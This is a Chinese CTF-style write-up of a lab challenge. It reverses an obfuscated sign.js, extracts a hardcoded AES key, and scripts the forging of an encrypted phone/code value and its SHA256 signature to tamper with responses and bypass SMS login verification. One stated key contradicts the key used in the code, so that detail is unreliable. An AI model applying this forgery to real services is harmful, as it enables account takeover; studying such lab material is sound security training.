首先是在一个登陆界面

image-20251208132250963

任务如下:

image-20251208132341592

sign.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

function _0x1bcf3(_0x5a6f3a){
var _0x17b5f1=CryptoJS['enc']['Hex']['parse']("e5ee5046459904967bad9b7680ed3120");
var _0x404332=CryptoJS['enc']['Utf8']['parse']('\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01');
var _0x591e0d=JSON['stringify'](_0x5a6f3a);
// !!!!!!!! 机密代码・勿擅自分析 !!!!!!!!!
function _0x437ec2(_0x1c6714,_0x1aa71a){
var _0x351d09=0x0;
for(var _0x2f0771=0x0;_0x2f0771<0xa;_0x2f0771++){
var _0x4cf01e=((_0x1c6714^_0x2f0771)+(_0x1aa71a&0x7b));
_0x351d09+=Math['sqrt']((_0x4cf01e)%0x7b+0x1);
}
return (_0x351d09^0x4d)%0x4d;
}
function _0x34eb13(_0x3e1242){
var _0x30f245=0x0;
for(var _0x5e55d5=0x0;_0x5e55d5<_0x3e1242['length'];_0x5e55d5++){
_0x30f245=((_0x30f245<<0x5)-_0x30f245+(_0x3e1242['charCodeAt'](_0x5e55d5)*0x11))^(_0x3e1242['charCodeAt'](_0x5e55d5)&0xff);
}
return (Math['abs'](_0x30f245)^0xe9)%0xe9;
}
var _0x712be6=_0x437ec2(Date['now']()^0x7e8,_0x34eb13(_0x591e0d));
(function(_0x22e5b1){
var _0x406b43=0x0;
for(var _0x4ea680=0x0;_0x4ea680<_0x22e5b1['length'];_0x4ea680++){
_0x406b43^=_0x22e5b1['charCodeAt'](_0x4ea680)^(_0x4ea680*0x7);
}
return _0x406b43;
})(_0x591e0d);
var _0x50d364=CryptoJS['AES']['encrypt'](_0x591e0d,_0x17b5f1,{'iv':_0x404332,'mode':CryptoJS['mode']['CBC'],'padding':CryptoJS['pad']['Pkcs7']});
return _0x50d364['ciphertext']['toString'](CryptoJS['enc']['Base64']);
}

// -- 绝密哈希计算 --
function _0x5e2b57(){
var _0x221313=[];
for(var _0xef118e=0x1;_0xef118e<=0x64;_0xef118e++){
_0x221313['push']((Math['sin'](_0xef118e/0x3)*Math['PI']+(_0xef118e%0x7))^(_0xef118e%0xd));
}
var _0x46d12f=_0x221313['reduce'](function(_0x29102f,_0x40b60c){return _0x29102f+_0x40b60c;},0x0);
var _0x5ff15d=(_0x46d12f^0xdeadbeef)&0xffffffff;
return _0x5ff15d['toString'](0x10);
}
_0x5e2b57();

// 机密签名生成器 (混淆)
function _0x48a9b6(_0x2bf285,_0x4e3a36){
var _0x213f16=String(_0x2bf285)+String(_0x4e3a36)+'haobachang';
(function(_0x4b6485){
var _0x4b60aa=0x1;
for(var _0x1ff021=0x0;_0x1ff021<0x5;_0x1ff021++){
_0x4b60aa=(_0x4b60aa*0x11+_0x4b6485['length'])%0x61^(_0x4b6485['charCodeAt'](_0x1ff021%_0x4b6485['length'])<<0x1);
}
return _0x4b60aa^0x58;
})(_0x213f16);
(function(_0x17b650,_0x1ebbf5){
var _0x4e2e01=0x0;
for(var _0x36b6eb=0x0;_0x36b6eb<Math['min'](_0x17b650['length'],_0x1ebbf5['length']);++_0x36b6eb){
_0x4e2e01^=(_0x17b650['charCodeAt'](_0x36b6eb)^_0x1ebbf5['charCodeAt'](_0x36b6eb));
}
return _0x4e2e01;
})(_0x2bf285,String(_0x4e3a36));
return CryptoJS['SHA256'](_0x213f16)['toString'](CryptoJS['enc']['Hex']);
}

先将其还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// 主要的加密函数
function encryptData(dataObject) {
// 定义加密密钥和初始化向量(IV)
var key = CryptoJS.enc.Hex.parse("e5ee5046459904967bad9b7680ed3120");
var iv = CryptoJS.enc.Utf8.parse('\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01');

// 将传入的对象转换为JSON字符串
var jsonData = JSON.stringify(dataObject);

// 两个混淆函数,看起来像是用于生成某种随机数或校验值,但实际上并未影响加密过程
function obfuscatedFunction1(timestamp, strHash) {
var result = 0x0;
for(var i = 0x0; i < 0xa; i++) {
var temp = ((timestamp ^ i) + (strHash & 0x7b));
result += Math.sqrt((temp) % 0x7b + 0x1);
}
return (result ^ 0x4d) % 0x4d;
}

function obfuscatedFunction2(str) {
var hash = 0x0;
for(var i = 0x0; i < str.length; i++) {
hash = ((hash << 0x5) - hash + (str.charCodeAt(i) * 0x11)) ^ (str.charCodeAt(i) & 0xff);
}
return (Math.abs(hash) ^ 0xe9) % 0xe9;
}

// 调用混淆函数,但返回值未被使用
var unusedValue = obfuscatedFunction1(Date.now() ^ 0x7e8, obfuscatedFunction2(jsonData));

// 另一个未使用的匿名函数
(function(str) {
var hash = 0x0;
for(var i = 0x0; i < str.length; i++) {
hash ^= str.charCodeAt(i) ^ (i * 0x7);
}
return hash;
})(jsonData);

// 执行AES加密
var encrypted = CryptoJS.AES.encrypt(jsonData, key, {
'iv': iv,
'mode': CryptoJS.mode.CBC,
'padding': CryptoJS.pad.Pkcs7
});

// 返回Base64编码的密文
return encrypted.ciphertext.toString(CryptoJS.enc.Base64);
}

// 哈希计算函数(未被调用)
function secretHashCalculation() {
var array = [];
for(var i = 0x1; i <= 0x64; i++) {
array.push((Math.sin(i/0x3) * Math.PI + (i % 0x7)) ^ (i % 0xd));
}
var sum = array.reduce(function(acc, val) {return acc + val;}, 0x0);
var result = (sum ^ 0xdeadbeef) & 0xffffffff;
return result.toString(0x10);
}
// 这里调用了该函数但没有使用返回值
secretHashCalculation();

// 签名生成器(未被调用)
function signatureGenerator(param1, param2) {
var combinedStr = String(param1) + String(param2) + 'haobachang';

// 匿名函数,计算但未使用返回值
(function(str) {
var result = 0x1;
for(var i = 0x0; i < 0x5; i++) {
result = (result * 0x11 + str.length) % 0x61 ^ (str.charCodeAt(i % str.length) << 0x1);
}
return result ^ 0x58;
})(combinedStr);

// 另一个匿名函数,计算但未使用返回值
(function(str1, str2) {
var xorResult = 0x0;
for(var i = 0x0; i < Math.min(str1.length, str2.length); ++i) {
xorResult ^= (str1.charCodeAt(i) ^ str2.charCodeAt(i));
}
return xorResult;
})(param1, String(param2));

// 返回SHA256哈希值
return CryptoJS.SHA256(combinedStr).toString(CryptoJS.enc.Hex);
}

准备工作就到这里,现在开始解题。

先试试188…手机号,点击发送验证码,抓包看到结构如下:

image-20251208132517775

先调用了/sign接口,再调用了/send接口

我们先观察这连个数据包

image-20251208132943476

image-20251208133020077

可以推断出逻辑:

首先是/sign接口,传入手机号和code,然后生成一个a值和sign签名,之后使用/send接口,发送生成的a值和sign用于验证,如果验证成功就能向特定手机号发送验证码。

我们观察一下a值和sign怎么加密的

首先看a值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// 主要的加密函数
function encryptData(dataObject) {
// 定义加密密钥和初始化向量(IV)
var key = CryptoJS.enc.Hex.parse("e5ee5046459904967bad9b7680ed3120");
var iv = CryptoJS.enc.Utf8.parse('\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01');

// 将传入的对象转换为JSON字符串
var jsonData = JSON.stringify(dataObject);

// 两个混淆函数,看起来像是用于生成某种随机数或校验值,但实际上并未影响加密过程
function obfuscatedFunction1(timestamp, strHash) {
var result = 0x0;
for(var i = 0x0; i < 0xa; i++) {
var temp = ((timestamp ^ i) + (strHash & 0x7b));
result += Math.sqrt((temp) % 0x7b + 0x1);
}
return (result ^ 0x4d) % 0x4d;
}

function obfuscatedFunction2(str) {
var hash = 0x0;
for(var i = 0x0; i < str.length; i++) {
hash = ((hash << 0x5) - hash + (str.charCodeAt(i) * 0x11)) ^ (str.charCodeAt(i) & 0xff);
}
return (Math.abs(hash) ^ 0xe9) % 0xe9;
}

// 调用混淆函数,但返回值未被使用
var unusedValue = obfuscatedFunction1(Date.now() ^ 0x7e8, obfuscatedFunction2(jsonData));

// 另一个未使用的匿名函数
(function(str) {
var hash = 0x0;
for(var i = 0x0; i < str.length; i++) {
hash ^= str.charCodeAt(i) ^ (i * 0x7);
}
return hash;
})(jsonData);

// 执行AES加密
var encrypted = CryptoJS.AES.encrypt(jsonData, key, {
'iv': iv,
'mode': CryptoJS.mode.CBC,
'padding': CryptoJS.pad.Pkcs7
});

// 返回Base64编码的密文
return encrypted.ciphertext.toString(CryptoJS.enc.Base64);
}

仔细审计,去掉混淆的函数,就发现加密逻辑是:

AES的PKCS7填充——》base64编码

key = 4f46ad7b73cb211bf2f2eaeeba9f2c77

iv = \x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01

我们先写一个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Cipher import AES
import base64
# === 密文 ===
cipher_b64 = "AZEsGR2FymfRkA52OtJ21GwfKXiKrhDRW6Jht9/NRZkXE5Oy6Isf+5ckn+T0Bx2J"

# === Key ===
key = bytes.fromhex("e5ee5046459904967bad9b7680ed3120")
print("KEY:", key.hex())

# === IV ===
iv = b"\x01" * 16
print("IV:", iv.hex())

# === Base64 解码 ===
cipher_bytes = base64.b64decode(cipher_b64)
print("Cipher bytes length:", len(cipher_bytes))
print("Cipher hex:", cipher_bytes.hex())

# === 解密过程 ===
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(cipher_bytes)
print("Raw decrypted (hex):", plaintext.hex())
print("Raw decrypted (utf8 maybe):", plaintext)

# === 去 PKCS7 ===
pad = plaintext[-1]
if pad < 1 or pad > 16:
print("Padding 看起来不标准,raw plaintext 如上")
else:
plaintext = plaintext[:-pad]

print("After unpad:", plaintext)

# === 去掉盐 'bachanghao' ===
salt = b"bachanghao"
if plaintext.endswith(salt):
plaintext = plaintext[:-len(salt)]
print("Salt removed")

print("Final plaintext:", plaintext)

image-20251208134349590

可以看到,a值的明文其实是手机号和验证码

再经过多次重放尝试发现,/sign发送的包相同,但每一次响应结果不同

修改/sign的手机号,对响应包的a值解密,发现还是188…的手机号

所以,完全透彻的发送验证码逻辑就出来了:

首先/sign接口发送数据包到服务端,服务端会生成一个用手机号(固定188)和验证码加密的编码(a值),和一个用于校验的sign签名,同时以响应包的形式发送到客户端;之后客户端通过/send接口,向服务端发送a值和sign签名,如果匹配,就发送验证码成功了。

至此,逻辑已经搞明白了,那怎么攻击达成目的呢?

没错!那就是需要伪造,思路就是:

发送/sign的数据包后,修改响应包,替换我们构造的a值和签名,然后/send发送我们构造的a值和签名进行校验,因为是我们指定的a值和sign,所以肯定校验成功,就达成了在客户端指定手机号和验证码的目的

首先我们需要写出a值的加密脚本,然后用指定手机号13188888888和验证码111111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from Crypto.Cipher import AES
import base64
import json

def encrypt_data(plaintext,key,iv):
"""
加密过程
"""

# === 准备明文 ===
# 例如: {"phone": "18888888888", "code": "320983"}
# 注意:这不是添加了盐值的内容,而是去盐后的结果
# 在加密时,我们需要直接使用这个明文

# === PKCS7 填充 ===
# 计算需要填充的字节数
pad_len = 16 - (len(plaintext) % 16)
if pad_len == 0: # 如果长度恰好是16的倍数,仍需添加16字节的填充
pad_len = 16

# 添加PKCS7填充
plaintext_padded = plaintext + chr(pad_len) * pad_len

# === 加密过程 ===
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext_padded.encode('utf-8'))

# === Base64 编码 ===
cipher_b64 = base64.b64encode(ciphertext).decode('utf-8')

return cipher_b64

# 测试加密函数
if __name__ == "__main__":
key = bytes.fromhex("e5ee5046459904967bad9b7680ed3120")
iv = b"\x01" * 16 # 16个字节的0x01
# 使用从1.py解密结果中获得的最终明文
final_plaintext = '{"phone": "13188888888", "code": "111111"}'
encrypted = encrypt_data(final_plaintext,key,iv)
print(f"Encrypted (Base64): {encrypted}")

# 验证:使用解密流程解密我们的加密结果
# 这部分代码模拟解密过程
print("\n=== 验证解密 ===")
try:
# 解码Base64
cipher_bytes = base64.b64decode(encrypted)
print(f"Cipher bytes length: {len(cipher_bytes)}")
print(f"Cipher hex: {cipher_bytes.hex()}")

# 解密
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_raw = cipher.decrypt(cipher_bytes)
print(f"Raw decrypted (hex): {decrypted_raw.hex()}")
print(f"Raw decrypted (utf8 maybe): {decrypted_raw}")

# 去除PKCS7填充
pad = decrypted_raw[-1]
if pad < 1 or pad > 16:
print("Padding 看起来不标准,raw plaintext 如上")
else:
decrypted_unpadded = decrypted_raw[:-pad]
print(f"After unpad: {decrypted_unpadded}")

print(f"Final plaintext: {decrypted_unpadded}")

except Exception as e:
print(f"验证过程中出现错误: {e}")

image-20251208140126171

接下来伪造sign值

先看看这个签名生成的流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 这里调用了该函数但没有使用返回值
secretHashCalculation();

// 签名生成器(未被调用)
function signatureGenerator(param1, param2) {
var combinedStr = String(param1) + String(param2) + 'haobachang';

// 匿名函数,计算但未使用返回值
(function(str) {
var result = 0x1;
for(var i = 0x0; i < 0x5; i++) {
result = (result * 0x11 + str.length) % 0x61 ^ (str.charCodeAt(i % str.length) << 0x1);
}
return result ^ 0x58;
})(combinedStr);

// 另一个匿名函数,计算但未使用返回值
(function(str1, str2) {
var xorResult = 0x0;
for(var i = 0x0; i < Math.min(str1.length, str2.length); ++i) {
xorResult ^= (str1.charCodeAt(i) ^ str2.charCodeAt(i));
}
return xorResult;
})(param1, String(param2));

// 返回SHA256哈希值
return CryptoJS.SHA256(combinedStr).toString(CryptoJS.enc.Hex);
}

核心逻辑:

1
combinedStr = param1 + param2 + "haobachang"

然后执行两个匿名函数(返回值均未使用,所以对最终结果无影响)。

最终只返回:

1
SHA256(combinedStr), 十六进制字符串

所以 真正有意义的逻辑只有计算 SHA256

而参数是什么呢?

根据/sign的响应包,有a值,sign和时间戳,猜测两个参数是a值和时间戳

至于是不是可以先写出加密脚本进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import math
import hashlib

# -----------------------------
# secretHashCalculation()
# -----------------------------
def secret_hash_calculation():
array = []
for i in range(1, 0x64 + 1): # 1 to 100
left = int(math.sin(i / 3) * math.pi + (i % 7))
val = left ^ (i % 13)
array.append(val)

total_sum = sum(array)
result = (int(total_sum) ^ 0xDEADBEEF) & 0xFFFFFFFF
return format(result, "x") # hex string


# -----------------------------
# signatureGenerator(param1, param2)
# -----------------------------
def signature_generator(param1, param2):
combinedStr = str(param1) + str(param2) + "haobachang"

# 匿名函数1(无实际用处)
def anon1(s):
result = 1
for i in range(5):
result = (result * 0x11 + len(s)) % 0x61
result ^= (ord(s[i % len(s)]) << 1)
return result ^ 0x58

anon1(combinedStr) # 调用但不使用

# 匿名函数2(无实际用处)
def anon2(s1, s2):
xor_result = 0
for a, b in zip(s1, s2):
xor_result ^= (ord(a) ^ ord(b))
return xor_result

anon2(str(param1), str(param2)) # 也不使用结果

# 返回 SHA256
return hashlib.sha256(combinedStr.encode()).hexdigest()


# -----------------------------
# 测试
# -----------------------------
if __name__ == "__main__":
a = "AZEsGR2FymfRkA52OtJ21GwfKXiKrhDRW6Jht9/NRZkXE5Oy6Isf+5ckn+T0Bx2J"
time = 1765171485
print("secretHashCalculation():", secret_hash_calculation())
print("signature:", signature_generator(a, time))

image-20251208140742968

可以看到和/sign响应包里的sign值一样,所以是正确的。

现在就简单了

我们先点发送验证码,然后拦截抓包,修改响应包为上面伪造的a值

image-20251208140938400

然后用a值和时间戳,生成sign,来替换响应包的sign

image-20251208141109142

然后发包,看/send请求包

image-20251208141146949

可以看到已经替换成我们伪造的a值和sign了,放包,看到响应包里有

image-20251208141328625

就是验证码已发送成功了

然后用我们伪造时用的手机号(这里是13188888888)和验证码(111111)登陆就行

image-20251208141508115

至此就拿到了flag。